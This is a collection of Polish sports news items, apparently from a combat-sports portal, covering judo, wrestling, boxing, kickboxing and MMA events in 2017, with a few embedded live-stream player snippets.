9 lipca w T-Mobile Arenie w Las Vegas Amanda Nunes wywalczyła pas mistrzowski w kategorii koguciej. Rok później przystąpi do drugiej obrony tytułu. Ponad pół roku temu rozbiła Rondę Rousey, teraz na jej drodze stanie Valentina Shevchenko. Panie spotkały się w marcu ubiegłego roku, na punkty wygrała Brazylijka. Triumf dał jej możliwość starcia o pas. W nim Brazylijka pokonała Mieshę Tate. Z kolei reprezentantka Peru, po porażce z Nunes, zanotowała dwie wygrane. 29-latka pokonała Holly Holm i Juliannę Penę.
Niezwykle ciekawie zapowiada się starcie Fabricio Werduma i Alistaira Overeema. Zawodnicy nadal należą do czołówki wagi ciężkiej UFC. Dotychczas Brazylijczyk i Holender walczyli dwa razy, każdy zanotował po wygranej. Czas na rozstrzygające starcie.
KM
Puchar Europy juniorów w judo ponownie zawita do Gdyni. Przez dwa dni, 8-9 lipca, na tatami zaprezentuje się blisko 400 zawodników.
Kalendarz wskazuje, że lato w pełni, ale pogoda płata nam figle. Bez parasola ani rusz. Ale w najbliższych dniach w hali Gdynia Arena potrzebne będą raczej wachlarze. To za sprawą Pucharu Europy juniorów w judo, który zwiastuje sporo sportowych emocji i wrażeń.
Poprawić wynik
Analiza danych pozwala nam wykazać, czy określone wskaźniki uległy poprawie, nie zmieniły się czy pogorszyły się. Takie porównania stosuje się w gospodarce, ekonomii czy demografii. Ale nic nie stoi na przeszkodzie, aby używać ich na płaszczyźnie sportu. Zwłaszcza jeśli mamy ku temu przesłanki. A w tym przypadku takie są. W ubiegłym toku Gdynia po raz pierwszy gościła Puchar Europy juniorów w judo. Biało-czerwoni zapisali na swoim koncie siedem medali. Julia Kowalczyk (57kg) i Paula Kułaga (+78kg) sięgnęły po srebra, a Tomasz Czerniawski (73kg), Tomasz Zielski (55kg), Daria Tymann (+78kg), Jakub Ozimek (90kg) i Kacper Szczurowski (100kg) zdobyli brązowe krążki.
Przed reprezentacją Polski stoi proste zadanie. Oczywiście – jeśli chodzi o matematykę. Bo na tatami będzie trwała zacięta walka i poprawienie wyniku z ubiegłorocznego Pucharu Europy do najłatwiejszych zadań należeć nie będzie. Trzeba jasno podkreślić, że nasi juniorzy mają potencjał. W tegorocznych startach nie raz stawali na podium. Jakub Ozimek (90kg) stał się królem Lignano. Wygrał tam rok temu, a w kwietniu powtórzył ten sukces. Na ostatnich mistrzostwach Europy nasz judoka zajął piąte miejsce. W dobrej dyspozycji jest również Dominik Majowski, który w trzech startach stawał na podium. Mocna jest Julia Kowalczyk (57kg), która coraz częściej występuje w zawodach seniorskich. W marcu była trzecia w Grand Slam w Baku. Ostatnio wystąpiła w Pucharze Europy w Leibnitz, gdzie sięgnęła po brąz.
Z pewnością wielką stratą jest brak w kadrze Vannesy Machnickiej. Judoczka nie wystąpi w Gdyni z powodu kontuzji kostki.
Prawie 400 zawodników
Rok temu w Gdyni zaprezentowało się blisko 270 judoków. Teraz liczba startujących ma być zdecydowanie większa, obecnie oscyluje wokół 400. W hali Gdynia Arena wystąpi 49 reprezentantów Polski. Licznie na Puchar Europy przybędą również Francuzi, Białorusini, Kanadyjczycy, Niemicy i Ukraińcy.
Zawody będą kolejnym przetarciem przed najważniejszymi imprezami sezonu. We wrześniu w Mariborze odbędą się mistrzostwa Europy juniorów, a miesiąc później w Zagrzebiu rozegrane zostaną mistrzostwa świata.
KM
Coraz mniej niewiadomych w związku z bokserskim turniejem World Boxing Super Series, który będzie rozgrywany w kategorii junior ciężkiej. Lista uczestników jest już prawie pełna, widnieje na niej Krzysztof „Diablo” Włodarczyk. W gronie rywalizujących w prestiżowym turnieju może znaleźć się również inny Polak – Krzysztof Głowacki.
Ogromne pieniądze, wspaniali pięściarze, którzy mają stworzyć fenomenalne widowisko – tak ma wyglądać projekt Richarda Schaefera i Kalle'a Sauerlanda. Z każdym dniem temperatura wokół World Boxing Super Series rośnie.
Miejsce dla Polaków
Zainteresowanie wśród polskich kibiców boksu wzbudza fakt, że będą mogli zobaczyć w akcji Krzysztofa „Diablo” Włodarczyka. Przez długi czas 35-latek był pierwszoplanową postacią wagi junior ciężkiej. Na swoim koncie zapisał pasy mistrzowskie WBC i IBF. Ten pierwszy tytuł stracił blisko trzy lata temu w Moskwie w starciu z Grigorijem Drozdem. Szybko miało dojść do rewanżu, ale na przeszkodzie stanęły kłopoty zdrowotne Włodarczyka. „Diablo” wrócił na ring w marcu 2016 roku. Od tamtej pory stoczył cztery walki i wszystkie wygrał. Pokonując w maju Noela Gevora przypieczętował swój udział w World Boxing Super Series.
8 lipca w Monako Włodarczyk pozna swojego pierwszego rywala na drodze po Puchar Alego. Prawdopodobnie będzie nim mistrz IBF Murat Gassijew, gdyż „Diablo” jest pretendentem do tytułu wspomnianej federacji.
Czy Włodarczyk będzie jedynym Polakiem, który weźmie udział w prestiżowym turnieju? Przewidziano, że w rywalizacji zaprezentuje się ośmiu pięściarzy. Siedem miejsc jest już zajętych. Nadal trwa walka o ostatnie wolne, które może przypaść Krzysztofowi Głowackiemu. 30-latek z Wałcza udanie powrócił na ring po utracie pasa WBO na rzecz Oleksandra Usyka. W czerwcu w Poznaniu rozbił Hizniego Altunkayę i zanotował 27 zwycięstwo w karierze. Wszyscy doskonale pamiętają jego zacięty bój o pas WBO z Marco Huckiem. Głowacki to mocny pięściarz, który śmiało móże rywalizować w World Boxing Super Series, ale czy tak się stanie pewności nie ma. Kandydatem do udziału w turnieju jest również Mike Perez.
Wielka kasa
50 milionów dolarów – tyle znalazło się w puli turnieju. Za wyjście do ringu w pierwszej walce pięściarze otrzymają 400 tysięcy. A więc jest o co rywalizować. Każdy może podnieść z ringu spore pieniądze.
O laury powalczą: mistrz WBO Oleksander Usyk, Mairis Breidis, czempion WBC, wspominany Gassijew, Yunier Dorticos, mistrz regularny WBA, a także Włodarczyk, Marco Huck i Dmitrij Kudriaszow. Liczymy, że w tym gronie znajdzie się jeszcze jeden Polak.
Daty pierwszych walk poznany już w sobotę. Turniej wystartuje we wrześniu, półfinały powinny odbyć się na początku 2018 roku, a finał w maju.
KM
Z czterema medalami na koncie Polacy zakończyli rywalizację w zapaśniczych mistrzostwach Europy juniorów w niemieckim Dortmundzie. Do pełni szczęścia zabrakło tylko złota.
Aleksandra Wólczyńska (63kg) była o krok od stanięcia na najwyższym stopniu podium w Dortmundzie, jednak w decydującej walce przegrała z Rosjanką Marią Kuznetsovą.
Lepiej niż w Bukareszcie
W ostatnich latach Dortmund kojarzył nam się ze wspaniałym piłkarskim trio: Piszczek – Błaszczykowski – Lewandowski. To w Borussii, za czasów Jurgena Kloopa, kapitan reprezentacji Polski okrzepł i stał się czołowym snajperem Europy, strzelając w Lidze Mistrzów Realowi Madryt cztery gole. Po dortmundzkich czasach pozostało wspomnienie. Liczba Polaków spadła do jednego, w zespole z Dortmundu nadal gra Łukasz Piszczek.
Na przełomie czerwca i lipca o medale w niemieckim mieście rywalizowali młodzi zapaśnicy. Polscy juniorzy zmagania zakończyli z czterema medalami, srebrnym i trzema brązowymi. To lepszy wynik niż rok temu w Bukareszcie, gdzie Polacy dwa razy stawali na najniższym stopniu podium.
Kolejny brąz do swojej kolekcji dołożyła Beata Kośla (44kg). Rok temu polska zapaśniczka również znalazła się na podium mistrzostw Europy. W Dortmundzie w jej kategorii wagowej wystartowało dziewięć zawodniczek (w Bukareszcie było 11). Początek zmagań w Niemczech nie był udany dla naszej juniorki. Kośla przegrała ze Stefanią Priceputu i musiała obgryzać paznokcie oraz z nadzieją obserwować dalsze poczynania Rumunki. Los chciał, że ta zdobyła złoto, co umożliwiło Polce występ w repasażach. Wygrana dała Kośli przepustkę do walki o brąz, w której uporała się z Esrą Koc.
Aleksandra Wólczyńska była o krok od spełnienia pięknego snu. Krok po kroku zmierzała do finału, eliminując kolejne rywalki. Zapaśniczka Suplesu Kraśnik, która ma na swoim koncie srebro mistrzostw Europy kadetek i kadetów z 2013 roku, w Dortmundzie wygrała trzy pojedynki. Finał jednak dla Rosjanki Marii Kuznetsovej.
Po dwóch wygranych walkach rozbudził się apetyt Agaty Walerzak (48kg). W półfinale Polka musiała uznać wyższość Oksany Livach, która rozdawała karty w pojedynku o wejście do finału. Warto dodać, że Ukrainka sięgnęła po złoto wygrywając z Lisą Ersel. Z kolei Walerzak stanęła na najniższym stopniu podium, brąz wyrwała Aleksandrze Skirenko.
Męski akcent
W gronie medalistów mistrzostw Europy juniorów znalazł się również Jakub Brylewski. Mistrz kraju z LKS Ceramik Krotoszyn przygodę z dortmundzkim turniejem rozpoczął od wygranej, ale potem trafił na mocnego Ormianina. Hovhannes Maghakyan dotarł do finału, co Brylewskiemu pozwoliło rywalizować w repasażach. Dwie wygrane walki i Polak mógł cieszyć się z miejsca na podium.
KM
Dotkliwie przekonał się o tym Manny Pacquiao, który w Brisbane przegrał na punkty z Jeffem Hornem. Dla 38-letniego Filipińczyka była to siódma porażka na zawodowym ringu. Pacquiao stracił pas mistrza świata organizacji WBO w wadze półśredniej. Z kolei w kategorii ciężkiej na kolejne wyzwania czeka Aleksander Powietkin, który pokonał Andrija Rudenkę.
Miało być szybko, łatwo i przyjemnie, jednak Filipińczyk odbił się od ściany. Poważnie rozgorzała dyskusja na temat zakończenia kariery przez utytułowanego pięściarza.
Australijska sensacja
Według Arystotelesa polityka to sztuka rządzenia, która na pierwszym miejscu stawia dobro wspólne. Manny Pacquiao chce zmieniać swój kraj na lepsze i pomóc Filipińczykom. Dlatego znany bokser zdecydował się zaangażować w politykę i został senatorem. Filipińczycy uwielbiają popularnego „Pacmana” i liczą, że w końcu zostanie prezydentem. Pacuqiao osiągnął sukces, a dorastał w trudnych warunkach. Sięgnął bokserskiego nieba. Pacquiao zapisał się w historii jako pierwszy pięściarz, który był mistrzem świata w ośmiu kategoriach wagowych. 9 kwietnia 2016 roku pokonał Timothy'ego Bradleya i miał pożegnać się z ringiem. Zdobył mandat senatora, ale… postanowił wrócić do boksu. Wygrał z Jessiem Vargasem, dzięki czemu sięgnął po pas WBO w wadze półśredniej.
38-latek polował na 60. zwycięstwo na zawodowym ringu. W Brisbane zmierzył się z o dziewięć lat młodszym Jeffem Hornem. Pacquaio miał udzielić rywalowi lekcji boksu, jednak Australijczyk podszedł bez kompleksów do rywalizacji z doświadczonym przeciwnikiem. Dopiero w piątej rundzie Filipińczyk przebudził się, a w szóstej na jego twarzy, w wyniku zderzenia głowami, pojawiła się krew. Horn robił swoje, a Pacquiao szukał nokautu. Pas powędrował do 29-letniego Australijczyka, który wygrał jednogłośnie na punkty (117:111, 115:113, 115:113).
Porażka Pacquiao wywołała ogromne emocje w świecie boksu. Nie brakuje kontrowersji. 38-letni bokser zadał blisko dwa razy więcej celnych ciosów niż rywal. Pacquiao był skuteczniejszy, jednak musiał pogodzić się z siódmą porażką w karierze.
Pozostaje mu już tylko polityka? Potwierdza się, że trudno łączyć mandat senatora z karierą bokserską. W najbliższym czasie powinno się okazać, czy Pacquiao zawiesi rękawice na kołku.
Powietkin gotowy na kolejne wyzwanie
Aleksander Powietkin to pięściarz kontrowersyjny. W ubiegłym roku w organizmie Rosjanina wykryto niedozwolone substancje: meldonium oraz ostarynę. W związku z tą drugą substancją nie doszło do starcia Powietkina z Bermane'em Stiverne'em. Pięściarz podkreśla, że nie zażywał żadnych niedozwolonych substancji. – Udowodnimy to WBC. Jestem czysty, nic nie ukrywam – powiedział Rosjanin.
W sobotę (1 lipca) 37-latek pokonał w Moskwie Andrija Rudenkę i zapisał na swoim koncie 32 zwycięstwo w karierze. Triumf dał mu międzynarodowe pasy WBA i WBO. Teraz Rosjanin chciałby stanąć do rywalizacji z Anthony'm Joshuą i Joseph'em Parkerem.
KM
Sukces reprezentantek Polski w judo. Nikola Szlachta (44kg) i Natalia Kropska (57kg) wywalczyły brązowe medale w mistrzostwach Europy kadetów, które odbywają się w Kownie.
Radość z sukcesu naszych zawodniczek jest tym większa, że rok temu z Vantaa biało-czerwoni wracali z niczym. Ostatnim polskim judoką, który stanął na podium mistrzostw Europy kadetów był Maciej Krogulski (73kg). Dwa lata temu w Sofii zdobył srebro.
Dziewczyny na medal
15-letnia Szlachta mocnym akcentem rozpoczęła tegoroczne starty, czym pokazała, że drzemią w niej spore możliwości. Judoczka okazała się najlepsza podczas Pucharu Europy we włoskiej Follonicy. Później stała jeszcze na podium w Zagrzebiu (trzecie miejsce). Mistrzostwa Europy to impreza wyżej rangi, gdzie zawodnicy spotykają się z ogromną presją. Nie każdy jest w stanie unieść trudy rywalizacji. 15-letnia Polka pokazała w Kownie, że jest mocna. Szlachta wygrała dwa pojedynki i znalazła się w strefie medalowej. W półfinale spotkała się z Aną Viktoriją Puljiz, którą pokonała w tym roku we Włoszech. Chorwatka wzięła jednak rewanż na Polce. Dwa razy zdobyła waza-ari i awansowała do finału, w którym pokonała Tamar Malcę z Izraela. Szlachcie pozostała walka o brązowy medal. 15-letnia Polka przed czasem uporała się z Włoszką Carlottą Avanzato.
Dwa lata temu w Sofii Natalia Kropska (48kg) zajęła siódme miejsce. W ubiegłorocznych mistrzostwach Europy odpadła już w pierwszej rundzie. W Kownie 17-latka, która wygrała tegoroczny Puchar Europy w Berlinie sięgnęła po brąz. Kropska szła jak burza i wygrała trzy walki. W półfinale przeszkodą nie do przejścia dla Polki okazała się Giovanna Fusco. Ostatecznie Natalia Kropska uplasowała się na trzecim miejscu, w starciu o medal pokonała Brytyjkę Josie Steele.
Stodolski odpadł w repasażach
Rok temu Adam Stodolski (73kg) odpadł w trzeciej rundzie po walce z Włochem Giacomo Gambą. W Kownie zaczął od zwycięstwa, jednak w kolejnym starciu, które trwało kilkanaście sekund przegrał z Tizie Gnamienem. W repasażach Polak wygrał dwa pojedynki, ale nie udało mu się pokonać kolejnej przeszkody. Stodolski przegrał z Mattią Prosdocimo, który zdobył brąz.
Na dziewiątych miejscach uplasowały się Aleksandra Gaj i Kinga Wolszczak (+70kg).
Fot. judobase.org
KM
Dawid Kasperski stanął przed szansą na wywalczenie tytułu mistrza świata WAKO-Pro. W Monte Carlo nie spełnił jednak marzeń. Lepszy od Polaka okazał się Gregory Grossi.
Zawodnik Punchera Wrocław uchodzi za jednego z najlepszych polskich kickboxerów. W Monako Kasperski miał szansę osiągnąć znaczący sukces, jednak musiał przełknąć gorycz porażki.
Decyzja na korzyść Francuza
Przez Holandię do Monako wiodła droga Dawid Kasperskiego. W marcu mistrz Polski K-1 udał się do Kraju Tulipanów, gdzie trenował wraz z doświadczonym i utytułowanym Nicolaasem Holzkenem. Intensywne przygotowania miały sprawić, że 30 czerwca Kasperski sięgnie gwiazd i odniesie piąte zwycięstwo z rzędu.
Na gali Monte-Carlo Fighting Trophy „Clash of the Titans” w walce o pas mistrzowski Polak spotkał się z Francuzem Gregorym Grossim. – Pas Zawodowego Mistrza Świata czeka na odbiór nowego właściciela – pisał dwa tygodnie przed walką Polak. Mordercza walka w kategorii do 88,6 kg, ogromna ambicja z obu stron i pięć wyczerpujących rund. O zwycięstwie decydowali sędziowie, którzy wskazali na Grossiego.
W Monte Carlo odbyła się również walka o Puchar Księcia Alberta II. Roman Krylia (+95kg) w drugiej rundzie znokautował Fabrice'a Auriengę z Francji. Efektowne zwycięstwo odniósł także Eddy Nait Slimani (64,5kg). W drugiej rundzie Francuz pokonał Antoine'a Habasha.
Kolejne plany Kasperskiego
Dawid Kasperski nie ma czasu, aby rozpamiętywać porażkę z Grossim. Polak przygotowuje się już do kolejnego startu. Zawodnik Punchera wystartuje w lipcowych Światowych Igrzyskach Sportów Nieolimpijskich, które odbędą się we Wrocławiu.
Zatem Kasperski ma ostatnie dni, aby należycie przygotować się do startu. Impreza rozpoczyna się 20 lipca. Mistrz Polski K-1 przystąpi do rywalizacji w World Games z jednym celem: wywalczyć medal. Podium gwarantują dwie wygrane walki. Warto dodać, że w każdej kategorii wagowej zaprezentuje się po ośmiu zawodników.
Wychowanek Dragona Starachowice nie raz pokazał, że jest czołowym polskim kickboxerem. Zapisał nas swoim koncie wiele medali mistrzostw kraju, w walkach zawodowych prezentował się z dobrej strony. Wygrał cztery z pięciu ostatnich pojedynków. Jako pierwszy Polak wygrał kategorię do 85kg podczas prestiżowej gali Superkombat w Rumunii w 2014 roku.
Fot. Dawid Kasperski Facebook
KM
Zapraszamy na transmisję telewizyjną na żywo z Judo Grand-Prix, które odbywa się w Hohhot w Chinach.
[kod]
Patryk Wawrzyczek (66kg) wywalczył siódme miejsce w Grand Prix w judo w chińskim Hohhot. Polak wygrał jedną walkę.
Do Chin udało się ponad 220 zawodników. W Grand Prix wystartował również nasz rodzynek – Patryk Wawrzyczek.
Treningi w Japonii, start w Chinach
Od kilku lat Patryk Wawrzyczek dostaje kolejne szanse, aby rywalizować w gronie seniorów. Czas płynie nieubłaganie, judoka AZS AWF Katowice ma już 21 lat. Wymagania względem zawodnika rosną. Dwa lata temu Wawrzyczek zdobył brąz mistrzostw Europy juniorów. Również w startach seniorskich judoka stawał już na podium. W ubiegłym roku zajął drugie miejsce w Tallinie, w marcu znalazł się na najniższym stopniu podium w Katowicach.
W kwietniu Wawrzyczek udał się do Katsuury, aby doskonalić swoje umiejętności. Po dwóch miesiącach intensywnych treningów przyszedł czas na test możliwości. Wawrzyczek wystartował w Grand Prix w Hohhot. W jego kategorii wagowej do rywalizacji zgłosiło się piętnastu zawodników. Na początek Polak trafił na Nathana Katza. Wawrzyczek wygrał z Australijczykiem po dogrywce, jednak w kolejnej walce przegrał z Baskhuu Yondonperenleiem. W repasażach Polak nie potrafił znaleźć sposobu na 53. w światowym rankingu Yuukiego Hashiguchi. 23-letni Japończyk wygrał przed czasem.
Ostatecznie pogromcy Wawrzyczka stanęli wywalczyli brązowe medale. W finale Yakub Shamilov okazał się lepszy od Georgia Zantaraii. Toru Shishime triumfował w kategorii 60kg. Wśród pań najlepsze okazały się: Yujeong Kang (48kg), Song Sim Rim (52kg), Momo Tamaoki (57kg). Trwa rywalizacja w pozostałych kategoriach.
Początek mistrzostw w Kownie
W Kownie trwają mistrzostwa Europy kadetów w judo. Do startu w imprezie zgłosiło się 430 zawodników, w tym ośmiu Polaków.
Jako pierwsza z naszych, na tatami zaprezentowała się Marta Kuras (48kg). 17-latka świetnie rozpoczęła rywalizację w Kownie. Najpierw przed czasem uporała się z Francuzką Anais Perrot, a potem po zaciętej walce pokonała Ukrainkę Annę Ostrovską. W trzecim starciu młoda Polka została zdominowana przez Janę Gussenberg. Kuras czekała rywalizacja w repasażach, gdzie nie powiodło jej się w pełni. W piątym starciu 17-latka przegrała z mocną Włoszką Chiarą Palanca.
W tym roku Kuras prezentowała wysoką dyspozycję. 17-latka wygrała zawody w Zagrzebiu, a w Teplicach zajęła trzecią pozycję. Również w Bielsku była o krok od podium, ostatecznie uplasowała się na piątej lokacie.
Mistrzostwa Europy kadetów potrwają do 2 lipca.
KM
Po fenomenalnej walce Anthony'ego Joshuy z Władimirem Kliczko, od razu ruszyły spekulacje na temat rewanżu. W ostatnim czasie temat jakby ucichł. Mistrz świata IBF, IBO i WBA czeka na ruch ze strony Ukraińca, ale zaznacza, że nie będzie czekał w nieskończoność.
Rewanżowe starcie Joshuy i Kliczko wydaje się naturalną koleją rzeczy. Dla byłego czempiona wagi królewskiej to ostatnia szansa, aby rywalizować o najwyższe laury. Mówi się, że walka miała odbyć się jesienią, jednak Joshua cały czas czeka na decyzję rywala.
Czy Kliczko skorzysta z możliwości?
W kontrakcie ukraiński bokser zagwarantował sobie prawo do rewanżowego starcia z 27-latkiem. Kwietniowy pojedynek rozbudził apetyty kibiców, gdyż główni aktorzy stworzyli fantastyczne widowisko. Kliczko przegrał drugi pojedynek z rzędu, co pokazało, że czas nie działa na korzyść 41-latka. Ukrainiec zapisał się złotymi literami w historii boksu. Przez dziesięć lat dzierżył w dłoniach mistrzowskie pasy i tak naprawdę nakręcał spiralę zainteresowania wagą ciężką. Na Wembley spotkał godnego następcę. Zarówno Kliczko i Joshua lądowali na deskach, ale w jedenastej rundzie 41-latek musiał pogodzić się z porażką.
Rewanż to sprawa podstawowa. Po kwietniowym pojedynku, natychmiast podjęto ten temat. 27-letni mistrz gotowy jest po raz kolejny spotkać się z Kliczko, jednak czeka na decyzję Ukraińca. Starcie miałoby się odbyć jesienią. Czempion wagi ciężki liczy, że Kliczko szybko się określi. – Czekamy na Kliczkę, ale mamy swoje plany. On wie, że musi podjąć decyzję i powiedzieć, czy chce drugiej walki. Jestem gotów ponownie się z nim spotkać – zapewnił Joshua.
Jeśli nie Kliczko, to rywalem 27-latka powinien być Kubrat Pulew, który jest obowiązkowym pretendentem do pasa IBF. – Na pewno zaprezentuję się pod koniec roku. Zmierzę się z Kliczko albo Kubratem Pulewem. Na razie czekam na wiadomości i rozpoczynam treningi – powiedział Joshua.
Gdzie?
Wydaje się, że niemożliwe jest, aby nie doszło do rewanżu Joshuy i Kliczko. Po pierwsze, pieniądze a po drugie – znakomita reklama boksu. Dyskutowana jest kwestia lokalizacji rewanżowego starcia. Propozycji nie brakuje. Nigeria, Dubaj, Cardiff, ale w ostatnich dniach na pierwszy plan wysuwa się Las Vegas. Miasto słynące z luksusu podkreślałoby wagę starcia.
KM
Polska organizacja sztuk walki znów powraca na wybrzeże. Koszalin stanie pod znakiem kolejnej gali FightExclusiveNight, kiedy FEN 18 Summer Edition sprowadzi 12 sierpnia do klatki m.in. gwiazdy piórkowej kategorii wagowej, czyli Kamila Łebkowskiego i Bartłomieja Koperę.
Kamil "Bomba" Łebkowski to jeden z największych bohaterów Fight Exclusive Night i jeden z najbardziej aktywnych zawodników. Z rekordem 16-5 wystąpi w głównej walce wieczoru, a będzie to jego trzecia gala z rzędu. W co-main event natomiast zobaczymy Andrzeja Grzebyka. Podkarpacki fighter zapewne będzie chciał utrzymać „win streak” i zakończyć swój pojedynek zwycięstwem. Na dziesięć wygranych starć, aż siedem Grzebyk zakończył przed czasem. Duże emocje wzbudzą także kolejne nazwiska z karty walk: Bartłomiej "Małpa" Kopera, Aleksander Georgas, Wojciech "Kulkinio" Janusz, Mateusz "Chińczyk" Rębecki, czy powracający do klatki Tomasz „Pająk” Stasiak zapewnią widzom i fanom sztuk walki niezapomniane widowisko.
Gala odbędzie się w Koszalinie w głównej Hali Widowiskowo-Sportowej (ul. Śniadeckich 4, 75-453 Koszalin), a bilety można kupić na http://bilety-fen-mma.com/ od dzisiaj!
Federacja Fight Exclusive Night to największy w Polsce organizator gal walk na zasadach MMA i K-1. Zrzesza ponad 50 zawodników z całego świata w tym kobiety, w 12 kategoriach wagowych. W tej chwili przystępuje do organizacji 18 gali, która odbędzie się w Koszalinie.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 18 Summer Edition. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 18 Summer Edition. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na ekskluzywną transmisję telewizyjną na żywo ze zgrupowania kadry Polski K-1 Polskiego Związku Kickboxingu w Zakopanem.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PZKB_Zakopane2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PZKB_Zakopane2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PZKB_Zakopane2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PZKB_Zakopane2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Jedenaście pojedynków zaplanowali organizatorzy gali ACB 63, która już 1 lipca odbędzie się w Ergo Arenie. Kibice z Trójmiasta zobaczą w akcji rodzimych zawodników m.in. Piotra Hallmanna, Kacpra Formelę, Sebastiana Przybysza czy Ireneusza Szydłowskiego.
MMA w najlepszym wydaniu. Absolute Championship Berkut to uznana światowa marka, w której nie brakuje mocnych nazwisk. Dotychczas w Polsce odbyły się cztery gale ACB.
Celiński w roli głównej
Karol Celiński miał mocne wejście do organizacji ACB. W lutym w Olsztynie pokonał przed czasem Łukasza Parobca. Dla popularnego „Cebuli” był to powrót do MMA po blisko dwuletniej przerwie. Wygrana w efektownym stylu sprawiła, że Celiński podczas gali ACB 63 w Ergo Arenie wystąpi w walce wieczoru. Jego rywalem będzie Viny Magalhaes.
Polski półciężki nie ma najlepszych wspomnień z rywalizacji w trójmiejskiej Ergo Arenie. W maju 2015 roku, na KSW 31, już w pierwszej rundzie poddał go Tomasz Narkun. Tym razem Celiński również nie będzie miał łatwego zadania. Vinny Magalhaes zdobywał tytuły mistrzowskie w takich organizacjach jak M-1 Global czy Titan FC. Do perfekcji opanował submission. Przez lata był czołowym zawodnikiem IBJJF. Co do MMA, Brazylijczyk stoczył 22 walki, z których 14 wygrał, w tym aż 11 przez poddanie. 32-latek ma za sobą również przygodę w UFC.
ACB coraz bardziej „polskie”
1 lipca w Ergo Arenie odbędzie się już piąta gala ACB w Polsce. Wcześniej rosyjska organizacja gościła w Płocku, Warszawie i dwukrotnie w Olsztynie. Teraz wybór padł na Trójmiasto, choć pierwotnie gala miała odbyć się w Newcastle. Władze organizacji w związku z zagrożeniem terrorystycznym zdecydowały się na zmianę lokalizacji.
Polscy kibice MMA będą mieli okazję skosztować kolejny smakowity kąsek. W karcie walk aż roi się od zawodników znad Wisły. Ciekawie zapowiada się starcie byłego fightera UFC, który ostatnio próbował swoich sił w FEN Piotra Hallmanna z Adrianem Zielińskim. 30-latek debiutował w ACB półtora roku temu, kiedy to przegrał z Andriejem Koszkinem.
W Ergo Arenie zaprezentuje się Przemysław Mysiala, który doświadczenie zdobywał na galach w Wielkiej Brytanii. Jego ostatni występ w Polsce to FEN 12 we Wrocławiu. W piątej rundzie Mysiala poddał Marcina Zontka. Na ACB 63 Polak zmierzy się Wallysonem Carvalho.
Trzecią walkę dla rosyjskiej organizacji stoczy Piotr Strus, który spotka się z Andy'm Deventem.
Karta walk gali ACB 63:
93 kg: Karol Celiński – Vinny Magalhaes
84 kg: Piotr Strus – Andy Devent
93 kg: Luke Barnatt – Max Nunes
70 kg: Adrian Zieliński – Piotr Hallmann
84 kg: Maciej Rózański – Nikola Dipchikov
77 kg: Ireneusz Szydłowski – Paweł Kiełek
77 kg: Patrik Kincl – Igor Fernandes
93 kg: Przemysław Mysiala – Wallyson Carvalho
77 kg: Mindaugas Verzbickas – Kamil Gniadek
66 kg: Armen Stepanyan – Kacper Formela
61 kg: Sebastian Przybysz – Jakub Wikłacz
fot. abcmma.com
KM
Dwa lata temu w Sofii srebro zawisło na szyi Macieja Krogulskiego (73kg), rok temu z fińskiego miasta Vantaa Polacy wracali z pustymi rękami. Czy w Kownie do biało-czerwonych uśmiechnie się szczęście? 30 czerwca startują mistrzostwa Europy kadetów w judo. Impreza potrwa do 2 lipca.
Historia Kowna sięga XIV wieku. Losy miasta, tak jak i całego kraju, ściśle powiązane są z Polską. Jeszcze w 1919 roku blisko połowę jego mieszkańców stanowili Polacy. W dwudziestoleciu międzywojennym Kowno było stolicą Litwy. To niezwykle urokliwe miasto, które warto odwiedzić. A nadarza się szczególna okazja ku temu. W dniach 30 czerwca – 2 lipca w Kownie odbędą się mistrzostwa Europy kadetów w judo. Emocje sportowe połączone z odkrywaniem historii – to znakomity pomysł na chwilę wytchnienia.
Przez Giżycko do Kowna
Historyczna bliskość Litwy i Polski, która często staje się również przedmiotem sporu, to dodatkowy podtekst występu biało-czerwonych w Kownie. Startujący w mistrzostwach Europy znają dzieje narodów jedynie ze szkoły. Ale dla Polski medal zdobyty na Litwie będzie miał szczególny wymiar. Zwłaszcza, że nasi kadeci czekają na sukces w europejskim czempionacie i liczą na dobry wynik. Rok temu w Finlandii musieli obejść się smakiem. Biało-czerwoni szybko pożegnali się z rywalizacją, a bezkonkurencyjni okazali się Rosjanie, którzy z dorobkiem dziewięciu medali triumfowali w klasyfikacji końcowej przed Francją (pięć) i Serbią (cztery).
Ostatnia polska zdobycz na mistrzostwach Europy kadetów to srebro Macieja Krogulskiego (73kg) w 2015 roku. Trzy lata temu biało-czerwoni świętowali zdobycie czterech medali. Po srebrne krążki sięgnęły Anna Dąbrowska (57kg) i Anita Formela (+70kg), zaś Julia Kowalczyk (57kg) i Kamila Pasternak (+70kg) stanęły na najniższym stopniu podium. Czy w Kownie biało-czerwoni nawiążą do tamtych osiągnięć?
